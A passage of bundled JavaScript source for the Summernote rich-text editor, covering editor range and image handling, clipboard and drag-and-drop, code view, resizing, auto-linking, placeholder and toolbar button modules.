}\n } else if (key.isEdit(event.keyCode)) {\n this.afterCommand();\n }\n }\n\n preventDefaultEditableShortCuts(event) {\n // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)\n if ((event.ctrlKey || event.metaKey) &&\n lists.contains([66, 73, 85], event.keyCode)) {\n event.preventDefault();\n }\n }\n\n isLimited(pad, event) {\n pad = pad || 0;\n\n if (typeof event !== 'undefined') {\n if (key.isMove(event.keyCode) ||\n (event.ctrlKey || event.metaKey) ||\n lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {\n return false;\n }\n }\n\n if (this.options.maxTextLength > 0) {\n if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {\n return true;\n }\n }\n return false;\n }\n /**\n * create range\n * @return {WrappedRange}\n */\n createRange() {\n this.focus();\n return range.create(this.editable);\n }\n\n /**\n * saveRange\n *\n * save current range\n *\n * @param {Boolean} [thenCollapse=false]\n */\n saveRange(thenCollapse) {\n this.lastRange = this.createRange();\n if (thenCollapse) {\n this.lastRange.collapse().select();\n }\n }\n\n /**\n * restoreRange\n *\n * restore lately range\n */\n restoreRange() {\n if (this.lastRange) {\n this.lastRange.select();\n this.focus();\n }\n }\n\n saveTarget(node) {\n this.$editable.data('target', node);\n }\n\n clearTarget() {\n this.$editable.removeData('target');\n }\n\n restoreTarget() {\n return this.$editable.data('target');\n }\n\n /**\n * currentStyle\n *\n * current style\n * @return {Object|Boolean} unfocus\n */\n currentStyle() {\n let rng = range.create();\n if (rng) {\n rng = rng.normalize();\n }\n return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);\n }\n\n /**\n * style from node\n *\n * @param {jQuery} $node\n * @return {Object}\n */\n styleFromNode($node) {\n return this.style.fromNode($node);\n }\n\n /**\n * undo\n */\n undo() {\n this.context.triggerEvent('before.command', this.$editable.html());\n this.history.undo();\n this.context.triggerEvent('change', this.$editable.html());\n }\n\n /**\n * redo\n */\n redo() {\n this.context.triggerEvent('before.command', this.$editable.html());\n this.history.redo();\n this.context.triggerEvent('change', this.$editable.html());\n }\n\n /**\n * before command\n */\n beforeCommand() {\n this.context.triggerEvent('before.command', this.$editable.html());\n // keep focus on editable before command execution\n this.focus();\n }\n\n /**\n * after command\n * @param {Boolean} isPreventTrigger\n */\n afterCommand(isPreventTrigger) {\n this.normalizeContent();\n this.history.recordUndo();\n if (!isPreventTrigger) {\n this.context.triggerEvent('change', this.$editable.html());\n }\n }\n\n /**\n * handle tab key\n */\n tab() {\n const rng = this.createRange();\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.table.tab(rng);\n } else {\n if (this.options.tabSize === 0) {\n return false;\n }\n\n if (!this.isLimited(this.options.tabSize)) {\n this.beforeCommand();\n this.typing.insertTab(rng, this.options.tabSize);\n this.afterCommand();\n }\n }\n }\n\n /**\n * handle shift+tab key\n */\n untab() {\n const rng = this.createRange();\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.table.tab(rng, true);\n } else {\n if (this.options.tabSize === 0) {\n return false;\n }\n }\n }\n\n /**\n * run given function between beforeCommand and afterCommand\n */\n wrapCommand(fn) {\n return () => {\n this.beforeCommand();\n fn.apply(this, arguments);\n this.afterCommand();\n };\n }\n\n /**\n * insert image\n *\n * @param {String} src\n * @param {String|Function} param\n * @return {Promise}\n */\n insertImage(src, param) {\n return createImage(src, param).then(($image) => {\n this.beforeCommand();\n\n if (typeof param === 'function') {\n param($image);\n } else {\n if (typeof param === 'string') {\n $image.attr('data-filename', param);\n }\n $image.css('width', Math.min(this.$editable.width(), $image.width()));\n }\n\n $image.show();\n range.create(this.editable).insertNode($image[0]);\n range.createFromNodeAfter($image[0]).select();\n this.afterCommand();\n }).fail((e) => {\n this.context.triggerEvent('image.upload.error', e);\n });\n }\n\n /**\n * insertImages\n * @param {File[]} files\n */\n insertImages(files) {\n $.each(files, (idx, file) => {\n const filename = file.name;\n if (this.options.maximumImageFileSize && this.options.maximumImageFileSize < file.size) {\n this.context.triggerEvent('image.upload.error', this.lang.image.maximumFileSizeError);\n } else {\n readFileAsDataURL(file).then((dataURL) => {\n return this.insertImage(dataURL, filename);\n }).fail(() => {\n this.context.triggerEvent('image.upload.error');\n });\n }\n });\n }\n\n /**\n * insertImagesOrCallback\n * @param {File[]} files\n */\n insertImagesOrCallback(files) {\n const callbacks = this.options.callbacks;\n\n // If onImageUpload this.options setted\n if (callbacks.onImageUpload) {\n this.context.triggerEvent('image.upload', files);\n // else insert Image as dataURL\n } else {\n this.insertImages(files);\n }\n }\n\n /**\n * return selected plain text\n * @return {String} text\n */\n getSelectedText() {\n let rng = this.createRange();\n\n // if range on anchor, expand range with anchor\n if (rng.isOnAnchor()) {\n rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));\n }\n\n return rng.toString();\n }\n\n onFormatBlock(tagName, $target) {\n // [workaround] for MSIE, IE need `<`\n tagName = env.isMSIE ? '<' + tagName + '>' : tagName;\n document.execCommand('FormatBlock', false, tagName);\n\n // support custom class\n if ($target && $target.length) {\n const className = $target[0].className || '';\n if (className) {\n const currentRange = this.createRange();\n\n const $parent = $([currentRange.sc, currentRange.ec]).closest(tagName);\n $parent.addClass(className);\n }\n }\n }\n\n formatPara() {\n this.formatBlock('P');\n }\n\n fontStyling(target, value) {\n const rng = this.createRange();\n\n if (rng) {\n const spans = this.style.styleNodes(rng);\n $(spans).css(target, value);\n\n // [workaround] added styled bogus span for style\n // - also bogus character needed for cursor position\n if (rng.isCollapsed()) {\n const firstSpan = lists.head(spans);\n if (firstSpan && !dom.nodeLength(firstSpan)) {\n firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;\n range.createFromNodeAfter(firstSpan.firstChild).select();\n this.$editable.data(KEY_BOGUS, firstSpan);\n }\n }\n }\n }\n\n /**\n * unlink\n *\n * @type command\n */\n unlink() {\n let rng = this.createRange();\n if (rng.isOnAnchor()) {\n const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n rng = range.createFromNode(anchor);\n rng.select();\n\n this.beforeCommand();\n document.execCommand('unlink');\n this.afterCommand();\n }\n }\n\n /**\n * returns link info\n *\n * @return {Object}\n * @return {WrappedRange} return.range\n * @return {String} return.text\n * @return {Boolean} [return.isNewWindow=true]\n * @return {String} [return.url=\"\"]\n */\n getLinkInfo() {\n const rng = this.createRange().expand(dom.isAnchor);\n\n // Get the first anchor on range(for edit).\n const $anchor = $(lists.head(rng.nodes(dom.isAnchor)));\n const linkInfo = {\n range: rng,\n text: rng.toString(),\n url: $anchor.length ? $anchor.attr('href') : ''\n };\n\n // Define isNewWindow when anchor exists.\n if ($anchor.length) {\n linkInfo.isNewWindow = $anchor.attr('target') === '_blank';\n }\n\n return linkInfo;\n }\n\n addRow(position) {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.addRow(rng, position);\n this.afterCommand();\n }\n }\n\n addCol(position) {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.addCol(rng, position);\n this.afterCommand();\n }\n }\n\n deleteRow() {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.deleteRow(rng);\n this.afterCommand();\n }\n }\n\n deleteCol() {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.deleteCol(rng);\n this.afterCommand();\n }\n }\n\n deleteTable() {\n const rng = this.createRange(this.$editable);\n if (rng.isCollapsed() && rng.isOnCell()) {\n this.beforeCommand();\n this.table.deleteTable(rng);\n this.afterCommand();\n }\n }\n\n /**\n * @param {Position} pos\n * @param {jQuery} $target - target element\n * @param {Boolean} [bKeepRatio] - keep ratio\n */\n resizeTo(pos, $target, bKeepRatio) {\n let imageSize;\n if (bKeepRatio) {\n const newRatio = pos.y / pos.x;\n const ratio = $target.data('ratio');\n imageSize = {\n width: ratio > newRatio ? pos.x : pos.y / ratio,\n height: ratio > newRatio ? pos.x * ratio : pos.y\n };\n } else {\n imageSize = {\n width: pos.x,\n height: pos.y\n };\n }\n\n $target.css(imageSize);\n }\n\n /**\n * returns whether editable area has focus or not.\n */\n hasFocus() {\n return this.$editable.is(':focus');\n }\n\n /**\n * set focus\n */\n focus() {\n // [workaround] Screen will move when page is scolled in IE.\n // - do focus when not focused\n if (!this.hasFocus()) {\n this.$editable.focus();\n }\n }\n\n /**\n * returns whether contents is empty or not.\n * @return {Boolean}\n */\n isEmpty() {\n return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();\n }\n\n /**\n * Removes all contents and restores the editable instance to an _emptyPara_.\n */\n empty() {\n this.context.invoke('code', dom.emptyPara);\n }\n\n /**\n * normalize content\n */\n normalizeContent() {\n this.$editable[0].normalize();\n }\n}\n","import lists from '../core/lists';\n\nexport default class Clipboard {\n constructor(context) {\n this.context = context;\n this.$editable = context.layoutInfo.editable;\n }\n\n initialize() {\n this.$editable.on('paste', this.pasteByEvent.bind(this));\n }\n\n /**\n * paste by clipboard event\n *\n * @param {Event} event\n */\n pasteByEvent(event) {\n const clipboardData = event.originalEvent.clipboardData;\n if (clipboardData && clipboardData.items && clipboardData.items.length) {\n const item = lists.head(clipboardData.items);\n if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {\n this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);\n }\n this.context.invoke('editor.afterCommand');\n }\n }\n}\n","import $ from 'jquery';\n\nexport default class Dropzone {\n constructor(context) {\n this.context = context;\n this.$eventListener = $(document);\n this.$editor = context.layoutInfo.editor;\n this.$editable = context.layoutInfo.editable;\n this.options = context.options;\n this.lang = this.options.langInfo;\n this.documentEventHandlers = {};\n\n this.$dropzone = $([\n '<div class=\"note-dropzone\">',\n ' <div class=\"note-dropzone-message\"/>',\n '</div>'\n ].join('')).prependTo(this.$editor);\n }\n\n /**\n * attach Drag and Drop Events\n */\n initialize() {\n if (this.options.disableDragAndDrop) {\n // prevent default drop event\n this.documentEventHandlers.onDrop = (e) => {\n e.preventDefault();\n };\n // do not consider outside of dropzone\n this.$eventListener = this.$dropzone;\n this.$eventListener.on('drop', this.documentEventHandlers.onDrop);\n } else {\n this.attachDragAndDropEvent();\n }\n }\n\n /**\n * attach Drag and Drop Events\n */\n attachDragAndDropEvent() {\n let collection = $();\n const $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');\n\n this.documentEventHandlers.onDragenter = (e) => {\n const isCodeview = this.context.invoke('codeview.isActivated');\n const hasEditorSize = this.$editor.width() > 0 && this.$editor.height() > 0;\n if (!isCodeview && !collection.length && hasEditorSize) {\n this.$editor.addClass('dragover');\n this.$dropzone.width(this.$editor.width());\n this.$dropzone.height(this.$editor.height());\n $dropzoneMessage.text(this.lang.image.dragImageHere);\n }\n collection = collection.add(e.target);\n };\n\n this.documentEventHandlers.onDragleave = (e) => {\n collection = collection.not(e.target);\n if (!collection.length) {\n this.$editor.removeClass('dragover');\n }\n };\n\n this.documentEventHandlers.onDrop = () => {\n collection = $();\n this.$editor.removeClass('dragover');\n };\n\n // show dropzone on dragenter when dragging a object to document\n // -but only if the editor is visible, i.e. has a positive width and height\n this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)\n .on('dragleave', this.documentEventHandlers.onDragleave)\n .on('drop', this.documentEventHandlers.onDrop);\n\n // change dropzone's message on hover.\n this.$dropzone.on('dragenter', () => {\n this.$dropzone.addClass('hover');\n $dropzoneMessage.text(this.lang.image.dropImage);\n }).on('dragleave', () => {\n this.$dropzone.removeClass('hover');\n $dropzoneMessage.text(this.lang.image.dragImageHere);\n });\n\n // attach dropImage\n this.$dropzone.on('drop', (event) => {\n const dataTransfer = event.originalEvent.dataTransfer;\n\n // stop the browser from opening the dropped content\n event.preventDefault();\n\n if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {\n this.$editable.focus();\n this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);\n } else {\n $.each(dataTransfer.types, (idx, type) => {\n const content = dataTransfer.getData(type);\n\n if (type.toLowerCase().indexOf('text') > -1) {\n this.context.invoke('editor.pasteHTML', content);\n } else {\n $(content).each((idx, item) => {\n this.context.invoke('editor.insertNode', item);\n });\n }\n });\n }\n }).on('dragover', false); // prevent default dragover event\n }\n\n destroy() {\n Object.keys(this.documentEventHandlers).forEach((key) => {\n this.$eventListener.off(key.substr(2).toLowerCase(), this.documentEventHandlers[key]);\n });\n this.documentEventHandlers = {};\n }\n}\n","import env from '../core/env';\nimport dom from '../core/dom';\n\nlet CodeMirror;\nif (env.hasCodeMirror) {\n if (env.isSupportAmd) {\n require(['codemirror'], function(cm) {\n CodeMirror = cm;\n });\n } else {\n CodeMirror = window.CodeMirror;\n }\n}\n\n/**\n * @class Codeview\n */\nexport default class CodeView {\n constructor(context) {\n this.context = context;\n this.$editor = context.layoutInfo.editor;\n this.$editable = context.layoutInfo.editable;\n this.$codable = context.layoutInfo.codable;\n this.options = context.options;\n }\n\n sync() {\n const isCodeview = this.isActivated();\n if (isCodeview && env.hasCodeMirror) {\n this.$codable.data('cmEditor').save();\n }\n }\n\n /**\n * @return {Boolean}\n */\n isActivated() {\n return this.$editor.hasClass('codeview');\n }\n\n /**\n * toggle codeview\n */\n toggle() {\n if (this.isActivated()) {\n this.deactivate();\n } else {\n this.activate();\n }\n this.context.triggerEvent('codeview.toggled');\n }\n\n /**\n * activate code view\n */\n activate() {\n this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));\n this.$codable.height(this.$editable.height());\n\n this.context.invoke('toolbar.updateCodeview', true);\n this.$editor.addClass('codeview');\n this.$codable.focus();\n\n // activate CodeMirror as codable\n if (env.hasCodeMirror) {\n const cmEditor = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);\n\n // CodeMirror TernServer\n if (this.options.codemirror.tern) {\n const server = new CodeMirror.TernServer(this.options.codemirror.tern);\n cmEditor.ternServer = server;\n cmEditor.on('cursorActivity', (cm) => {\n server.updateArgHints(cm);\n });\n }\n\n cmEditor.on('blur', (event) => {\n this.context.triggerEvent('blur.codeview', cmEditor.getValue(), event);\n });\n\n // CodeMirror hasn't Padding.\n cmEditor.setSize(null, this.$editable.outerHeight());\n this.$codable.data('cmEditor', cmEditor);\n } else {\n this.$codable.on('blur', (event) => {\n this.context.triggerEvent('blur.codeview', this.$codable.val(), event);\n });\n }\n }\n\n /**\n * deactivate code view\n */\n deactivate() {\n // deactivate CodeMirror as codable\n if (env.hasCodeMirror) {\n const cmEditor = this.$codable.data('cmEditor');\n this.$codable.val(cmEditor.getValue());\n cmEditor.toTextArea();\n }\n\n const value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;\n const isChange = this.$editable.html() !== value;\n\n this.$editable.html(value);\n this.$editable.height(this.options.height ? this.$codable.height() : 'auto');\n this.$editor.removeClass('codeview');\n\n if (isChange) {\n this.context.triggerEvent('change', this.$editable.html(), this.$editable);\n }\n\n this.$editable.focus();\n\n this.context.invoke('toolbar.updateCodeview', false);\n }\n\n destroy() {\n if (this.isActivated()) {\n this.deactivate();\n }\n }\n}\n","import $ from 'jquery';\nconst EDITABLE_PADDING = 24;\n\nexport default class Statusbar {\n constructor(context) {\n this.$document = $(document);\n this.$statusbar = context.layoutInfo.statusbar;\n this.$editable = context.layoutInfo.editable;\n this.options = context.options;\n }\n\n initialize() {\n if (this.options.airMode || this.options.disableResizeEditor) {\n this.destroy();\n return;\n }\n\n this.$statusbar.on('mousedown', (event) => {\n event.preventDefault();\n event.stopPropagation();\n\n const editableTop = this.$editable.offset().top - this.$document.scrollTop();\n const onMouseMove = (event) => {\n let height = event.clientY - (editableTop + EDITABLE_PADDING);\n\n height = (this.options.minheight > 0) ? Math.max(height, this.options.minheight) : height;\n height = (this.options.maxHeight > 0) ? Math.min(height, this.options.maxHeight) : height;\n\n this.$editable.height(height);\n };\n\n this.$document.on('mousemove', onMouseMove).one('mouseup', () => {\n this.$document.off('mousemove', onMouseMove);\n });\n });\n }\n\n destroy() {\n this.$statusbar.off();\n this.$statusbar.addClass('locked');\n }\n}\n","import $ from 'jquery';\n\nexport default class Fullscreen {\n constructor(context) {\n this.context = context;\n\n this.$editor = context.layoutInfo.editor;\n this.$toolbar = context.layoutInfo.toolbar;\n this.$editable = context.layoutInfo.editable;\n this.$codable = context.layoutInfo.codable;\n\n this.$window = $(window);\n this.$scrollbar = $('html, body');\n\n this.onResize = () => {\n this.resizeTo({\n h: this.$window.height() - this.$toolbar.outerHeight()\n });\n };\n }\n\n resizeTo(size) {\n this.$editable.css('height', size.h);\n this.$codable.css('height', size.h);\n if (this.$codable.data('cmeditor')) {\n this.$codable.data('cmeditor').setsize(null, size.h);\n }\n }\n\n /**\n * toggle fullscreen\n */\n toggle() {\n this.$editor.toggleClass('fullscreen');\n if (this.isFullscreen()) {\n this.$editable.data('orgHeight', this.$editable.css('height'));\n this.$window.on('resize', this.onResize).trigger('resize');\n this.$scrollbar.css('overflow', 'hidden');\n } else {\n this.$window.off('resize', this.onResize);\n this.resizeTo({ h: this.$editable.data('orgHeight') });\n this.$scrollbar.css('overflow', 'visible');\n }\n\n this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());\n }\n\n isFullscreen() {\n return this.$editor.hasClass('fullscreen');\n }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\n\nexport default class Handle {\n constructor(context) {\n this.context = context;\n this.$document = $(document);\n this.$editingArea = context.layoutInfo.editingArea;\n this.options = context.options;\n this.lang = this.options.langInfo;\n\n this.events = {\n 'summernote.mousedown': (we, e) => {\n if (this.update(e.target)) {\n e.preventDefault();\n }\n },\n 'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': () => {\n this.update();\n },\n 'summernote.disable': () => {\n this.hide();\n },\n 'summernote.codeview.toggled': () => {\n this.update();\n }\n };\n }\n\n initialize() {\n this.$handle = $([\n '<div class=\"note-handle\">',\n '<div class=\"note-control-selection\">',\n '<div class=\"note-control-selection-bg\"></div>',\n '<div class=\"note-control-holder note-control-nw\"></div>',\n '<div class=\"note-control-holder note-control-ne\"></div>',\n '<div class=\"note-control-holder note-control-sw\"></div>',\n '<div class=\"',\n (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),\n ' note-control-se\"></div>',\n (this.options.disableResizeImage ? '' : '<div class=\"note-control-selection-info\"></div>'),\n '</div>',\n '</div>'\n ].join('')).prependTo(this.$editingArea);\n\n this.$handle.on('mousedown', (event) => {\n if (dom.isControlSizing(event.target)) {\n event.preventDefault();\n event.stopPropagation();\n\n const $target = this.$handle.find('.note-control-selection').data('target');\n const posStart = $target.offset();\n const scrollTop = this.$document.scrollTop();\n\n const onMouseMove = (event) => {\n this.context.invoke('editor.resizeTo', {\n x: event.clientX - posStart.left,\n y: event.clientY - (posStart.top - scrollTop)\n }, $target, !event.shiftKey);\n\n this.update($target[0]);\n };\n\n this.$document\n .on('mousemove', onMouseMove)\n .one('mouseup', (e) => {\n e.preventDefault();\n this.$document.off('mousemove', onMouseMove);\n this.context.invoke('editor.afterCommand');\n });\n\n if (!$target.data('ratio')) { // original ratio.\n $target.data('ratio', $target.height() / $target.width());\n }\n }\n });\n\n // Listen for scrolling on the handle overlay.\n this.$handle.on('wheel', (e) => {\n e.preventDefault();\n this.update();\n });\n }\n\n destroy() {\n this.$handle.remove();\n }\n\n update(target) {\n if (this.context.isDisabled()) {\n return false;\n }\n\n const isImage = dom.isImg(target);\n const $selection = this.$handle.find('.note-control-selection');\n\n this.context.invoke('imagePopover.update', target);\n\n if (isImage) {\n const $image = $(target);\n const position = $image.position();\n const pos = {\n left: position.left + parseInt($image.css('marginLeft'), 10),\n top: position.top + parseInt($image.css('marginTop'), 10)\n };\n\n // exclude margin\n const imageSize = {\n w: $image.outerWidth(false),\n h: $image.outerHeight(false)\n };\n\n $selection.css({\n display: 'block',\n left: pos.left,\n top: pos.top,\n width: imageSize.w,\n height: imageSize.h\n }).data('target', $image); // save current image element.\n\n const origImageObj = new Image();\n origImageObj.src = $image.attr('src');\n\n const sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';\n $selection.find('.note-control-selection-info').text(sizingText);\n this.context.invoke('editor.saveTarget', target);\n } else {\n this.hide();\n }\n\n return isImage;\n }\n\n /**\n * hide\n *\n * @param {jQuery} $handle\n */\n hide() {\n this.context.invoke('editor.clearTarget');\n this.$handle.children().hide();\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport key from '../core/key';\n\nconst defaultScheme = 'http://';\nconst linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?|mailto:[A-Z0-9._%+-]+@)?(www\\.)?(.+)$/i;\n\nexport default class AutoLink {\n constructor(context) {\n this.context = context;\n this.events = {\n 'summernote.keyup': (we, e) => {\n if (!e.isDefaultPrevented()) {\n this.handleKeyup(e);\n }\n },\n 'summernote.keydown': (we, e) => {\n this.handleKeydown(e);\n }\n };\n }\n\n initialize() {\n this.lastWordRange = null;\n }\n\n destroy() {\n this.lastWordRange = null;\n }\n\n replace() {\n if (!this.lastWordRange) {\n return;\n }\n\n const keyword = this.lastWordRange.toString();\n const match = keyword.match(linkPattern);\n\n if (match && (match[1] || match[2])) {\n const link = match[1] ? keyword : defaultScheme + keyword;\n const node = $('<a />').html(keyword).attr('href', link)[0];\n\n this.lastWordRange.insertNode(node);\n this.lastWordRange = null;\n this.context.invoke('editor.focus');\n }\n }\n\n handleKeydown(e) {\n if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n const wordRange = this.context.invoke('editor.createRange').getWordRange();\n this.lastWordRange = wordRange;\n }\n }\n\n handleKeyup(e) {\n if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n this.replace();\n }\n }\n}\n","import dom from '../core/dom';\n\n/**\n * textarea auto sync.\n */\nexport default class AutoSync {\n constructor(context) {\n this.$note = context.layoutInfo.note;\n this.events = {\n 'summernote.change': () => {\n this.$note.val(context.invoke('code'));\n }\n };\n }\n\n shouldInitialize() {\n return dom.isTextarea(this.$note[0]);\n }\n}\n","import $ from 'jquery';\nexport default class Placeholder {\n constructor(context) {\n this.context = context;\n\n this.$editingArea = context.layoutInfo.editingArea;\n this.options = context.options;\n this.events = {\n 'summernote.init summernote.change': () => {\n this.update();\n },\n 'summernote.codeview.toggled': () => {\n this.update();\n }\n };\n }\n\n shouldInitialize() {\n return !!this.options.placeholder;\n }\n\n initialize() {\n this.$placeholder = $('<div class=\"note-placeholder\">');\n this.$placeholder.on('click', () => {\n this.context.invoke('focus');\n }).text(this.options.placeholder).prependTo(this.$editingArea);\n\n this.update();\n }\n\n destroy() {\n this.$placeholder.remove();\n }\n\n update() {\n const isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');\n this.$placeholder.toggle(isShow);\n }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport env from '../core/env';\n\nexport default class Buttons {\n constructor(context) {\n this.ui = $.summernote.ui;\n this.context = context;\n this.$toolbar = context.layoutInfo.toolbar;\n this.options = context.options;\n this.lang = this.options.langInfo;\n this.invertedKeyMap = func.invertObject(\n this.options.keyMap[env.isMac ? 'mac' : 'pc']\n );\n }\n\n representShortcut(editorMethod) {\n let shortcut = this.invertedKeyMap[editorMethod];\n if (!this.options.shortcuts || !shortcut) {\n return '';\n }\n\n if (env.isMac) {\n shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');\n }\n\n shortcut = shortcut.replace('BACKSLASH', '\\\\')\n .replace('SLASH', '/')\n .replace('LEFTBRACKET', '[')\n .replace('RIGHTBRACKET', ']');\n\n return ' (' + shortcut + ')';\n }\n\n button(o) {\n if (!this.options.tooltip && o.tooltip) {\n delete o.tooltip;\n }\n o.container = this.options.container;\n return this.ui.button(o);\n }\n\n initialize() {\n this.addToolbarButtons();\n this.addImagePopoverButtons();\n this.addLinkPopoverButtons();\n this.addTablePopoverButtons();\n this.fontInstalledMap = {};\n }\n\n destroy() {\n delete this.fontInstalledMap;\n }\n\n isFontInstalled(name) {\n if (!this.fontInstalledMap.hasOwnProperty(name)) {\n this.fontInstalledMap[name] = env.isFontInstalled(name) ||\n lists.contains(this.options.fontNamesIgnoreCheck, name);\n }\n\n return this.fontInstalledMap[name];\n }\n\n isFontDeservedToAdd(name) {\n const genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];\n name = name.toLowerCase();\n\n return ((name !== '') && this.isFontInstalled(name) && ($.inArray(name, genericFamilies) === -1));\n }\n\n addToolbarButtons() {\n this.context.memo('button.style', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(\n this.ui.icon(this.options.icons.magic), this.options\n ),\n tooltip: this.lang.style.style,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdown({\n className: 'dropdown-style',\n items: this.options.styleTags,\n title: this.lang.style.style,\n template: (item) => {\n if (typeof item === 'string') {\n item = { tag: item, title: (this.lang.style.hasOwnProperty(item) ? this.lang.style[item] : item) };\n }\n\n const tag = item.tag;\n const title = item.title;\n const style = item.style ? ' style=\"' + item.style + '\" ' : '';\n const className = item.className ? ' class=\"' + item.className + '\"' : '';\n\n return '<' + tag + style + className + '>' + title + '</' + tag + '>';\n },\n click: this.context.createInvokeHandler('editor.formatBlock')\n })\n ]).render();\n });\n\n for (let styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {\n const item = this.options.styleTags[styleIdx];\n\n this.context.memo('button.style.' + item, () => {\n return this.button({\n className: 'note-btn-style-' + item,\n contents: '<div data-value=\"' + item + '\">' + item.toUpperCase() + '</div>',\n tooltip: this.lang.style[item],\n click: this.context.createInvokeHandler('editor.formatBlock')\n }).render();\n });\n }\n\n this.context.memo('button.bold', () => {\n return this.button({\n className: 'note-btn-bold',\n contents: this.ui.icon(this.options.icons.bold),\n tooltip: this.lang.font.bold + this.representShortcut('bold'),\n click: this.context.createInvokeHandlerAndUpdateState('editor.bold')\n }).render();\n });\n\n this.context.memo('button.italic', () => {\n return this.button({\n className: 'note-btn-italic',\n contents: this.ui.icon(this.options.icons.italic),\n tooltip: this.lang.font.italic + this.representShortcut('italic'),\n click: this.context.createInvokeHandlerAndUpdateState('editor.italic')\n }).render();\n });\n\n this.context.memo('button.underline', () => {\n return this.button({\n className: 'note-btn-underline',\n contents: this.ui.icon(this.options.icons.underline),\n tooltip: this.lang.font.underline + this.representShortcut('underline'),\n click: this.context.createInvokeHandlerAndUpdateState('editor.underline')\n }).render();\n });\n\n this.context.memo('button.clear', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.eraser),\n tooltip: this.lang.font.clear + this.representShortcut('removeFormat'),\n click: this.context.createInvokeHandler('editor.removeFormat')\n }).render();\n });\n\n this.context.memo('button.strikethrough', () => {\n return this.button({\n className: 'note-btn-strikethrough',\n contents: this.ui.icon(this.options.icons.strikethrough),\n tooltip: this.lang.font.strikethrough + this.representShortcut('strikethrough'),\n click: this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')\n }).render();\n });\n\n this.context.memo('button.superscript', () => {\n return this.button({\n className: 'note-btn-superscript',\n contents: this.ui.icon(this.options.icons.superscript),\n tooltip: this.lang.font.superscript,\n click: this.context.createInvokeHandlerAndUpdateState('editor.superscript')\n }).render();\n });\n\n this.context.memo('button.subscript', () => {\n return this.button({\n className: 'note-btn-subscript',\n contents: this.ui.icon(this.options.icons.subscript),\n tooltip: this.lang.font.subscript,\n click: this.context.createInvokeHandlerAndUpdateState('editor.subscript')\n }).render();\n });\n\n this.context.memo('button.fontname', () => {\n const styleInfo = this.context.invoke('editor.currentStyle');\n\n // Add 'default' fonts into the fontnames array if not exist\n $.each(styleInfo['font-family'].split(','), (idx, fontname) => {\n fontname = fontname.trim().replace(/['\"]+/g, '');\n if (this.isFontDeservedToAdd(fontname)) {\n if ($.inArray(fontname, this.options.fontNames) === -1) {\n this.options.fontNames.push(fontname);\n }\n }\n });\n\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(\n '<span class=\"note-current-fontname\"/>', this.options\n ),\n tooltip: this.lang.font.name,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdownCheck({\n className: 'dropdown-fontname',\n checkClassName: this.options.icons.menuCheck,\n items: this.options.fontNames.filter(this.isFontInstalled.bind(this)),\n title: this.lang.font.name,\n template: (item) => {\n return '<span style=\"font-family: \\'' + item + '\\'\">' + item + '</span>';\n },\n click: this.context.createInvokeHandlerAndUpdateState('editor.fontName')\n })\n ]).render();\n });\n\n this.context.memo('button.fontsize', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents('<span class=\"note-current-fontsize\"/>', this.options),\n tooltip: this.lang.font.size,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdownCheck({\n className: 'dropdown-fontsize',\n checkClassName: this.options.icons.menuCheck,\n items: this.options.fontSizes,\n title: this.lang.font.size,\n click: this.context.createInvokeHandlerAndUpdateState('editor.fontSize')\n })\n ]).render();\n });\n\n this.context.memo('button.color', () => {\n return this.ui.buttonGroup({\n className: 'note-color',\n children: [\n this.button({\n className: 'note-current-color-button',\n contents: this.ui.icon(this.options.icons.font + ' note-recent-color'),\n tooltip: this.lang.color.recent,\n click: (e) => {\n const $button = $(e.currentTarget);\n this.context.invoke('editor.color', {\n backColor: $button.attr('data-backColor'),\n foreColor: $button.attr('data-foreColor')\n 